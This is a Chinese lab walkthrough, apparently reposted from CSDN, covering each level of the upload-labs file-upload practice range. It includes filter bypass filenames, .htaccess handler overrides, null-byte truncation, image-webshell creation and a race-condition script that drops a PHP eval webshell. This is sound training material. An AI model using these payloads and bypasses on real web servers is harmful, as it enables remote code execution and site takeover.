0


文件上传漏洞之upload-labs靶场实战通关

目录


pass-01

ccad75f66e534047862ac3bf46b4ce01.png

1a81efa4b61140dc850cba2fffb9693d.png

d3310ad8776848eb997f6cfbeb833930.png

pass-02

前端删除完验证函数后通过burp修改 content-type的类型

6992bf5f6e204662bfc0c72b6cc592f9.png

pass-03

$deny_ext = array('.asp','.aspx','.php','.jsp');

739b628a68774186b6da702d37150e5c.png757bc3614a8d45ae9f7c62cdbc65e06c.png

pass-04

本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

先变化为jepg格式上传,再上传个.htaccess文件修改解析方式

<FilesMatch "Behinder.jepg">
  SetHandler application/x-httpd-php
</FilesMatch>

8ca5e6734d3a48ad8a3efbc1ea2aeb72.png

a4e46c904ff84d5e910d2327e4363f3f.png

pass-06

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

本关源码没有统一转化后缀为小写,可以大小写绕过

03a5cf0e668545c0968c043521f00b24.png

pass-07

没有首尾去空,抓包修改文件后缀添加空格

pass-08

文件尾部添加.

Content-Disposition: form-data; name="upload_file"; filename="Behinder.php."

pass-09

没有去除字符串::$DATA

Content-Disposition: form-data; name="upload_file"; filename="Behinder.php::$DATA"

pass-10

        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//删除文件名末尾的空格

Content-Disposition: form-data; name="upload_file"; filename="Behinder.php. ."

pass-11

 $file_name = str_ireplace($deny_ext,"", $file_name);

后缀双写绕过pphphp

13be6e7f11e54ca38265829cba33c389.png

pass-12

%00截断:Behinder.php%00.png=Behinder.php

Content-Disposition: form-data; name="upload_file"; filename="Behinder.png"

POST /upload-labs-master/Pass-12/index.php?save_path=../upload/Behinder.php%00 HTTP/1.1

pass-13

post请求,需要修改16进制的截断00

5d41f51bc3174f11af7e4ef1e7c134e2.png

aafa3c6293f94f708da013ae82a785c4.png

pass-14

生成图片马

copy 1.jpg/b+2.php /a 3.jpg

  • /b是二进制形式打开
  • /a是ascii方式打开

copy a.jpg/b + 2.php 3.jpg

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 
http://localhost:7298/upload-labs-master/include.php?file=upload/1220221209062757.jpg

pass-15

$info = getimagesize($filename);
http://localhost:7298/upload-labs-master/include.php?file=upload/3620221209063752.png

abfa835ace6846229e80b85218874ae7.png

pass-16

  $image_type = exif_imagetype($filename);

pass-17

 $im = imagecreatefromjpeg($target_path);

图片被二次渲染,绕过思路:使用渲染时代码不会被修改的图片即可

pass-18

  if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }

漏洞描述:先将文件上传到服务器,然后通过 rename 修改名称,再通过

unlink 删除文件,因此可以通过条件竞争的方式在 unlink 之前,访问 webshell

利用方法:使用 burp 或者 python 脚本对要上传的文件路径进行不断的访问

(upload/webshell.php),上传一个 webshell.php,但访问该文件,会在目录下生成一

个 webshell

<?php
fputs(fopen('shell.php','coleak'),'<?php @eval($_POST["cmd"]) ?>');
?>

通过burp进行线程爆破

0c34f095422a45aea7de8eec82b307ef.png

45f8a57f33b94812af67d99eaad82fb2.png

此时上传的该文件被不断上传并被不断删除, 通过代码不断请求访问该php文件,此刻产生新的不会被删除的shell.php

ac94a5a3d2814046b5955554f7aee150.png37f4202405bd40c0a2dcec7321127ac1.png

此时可以通过连接到shell.php进行漏洞利用

5fb1b804964a42f583b6219ccf8dd5ee.png

pass-19

将shell.php重命名为shell.php.7z,Intruder并发上传,直到得到一个未被重命名的文件

pass-20

(move_uploaded_file($temp_file, $img_path))

保存名称upload-19.php/.

pass-21

  $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";

Content-Disposition: form-data; name="upload_file"; filename="Behinder.jpg"
Content-Type: image/jpg

-----------------------------365425794437488830443731418635
Content-Disposition: form-data; name="save_name[0]"

upload-20.php/
-----------------------------365425794437488830443731418635
Content-Disposition: form-data; name="save_name[2]"

jpg


本文转载自: https://blog.csdn.net/qq_63701832/article/details/128245646
版权归原作者 coleak 所有, 如有侵权,请联系我们删除。

“文件上传漏洞之upload-labs靶场实战通关”的评论:

还没有评论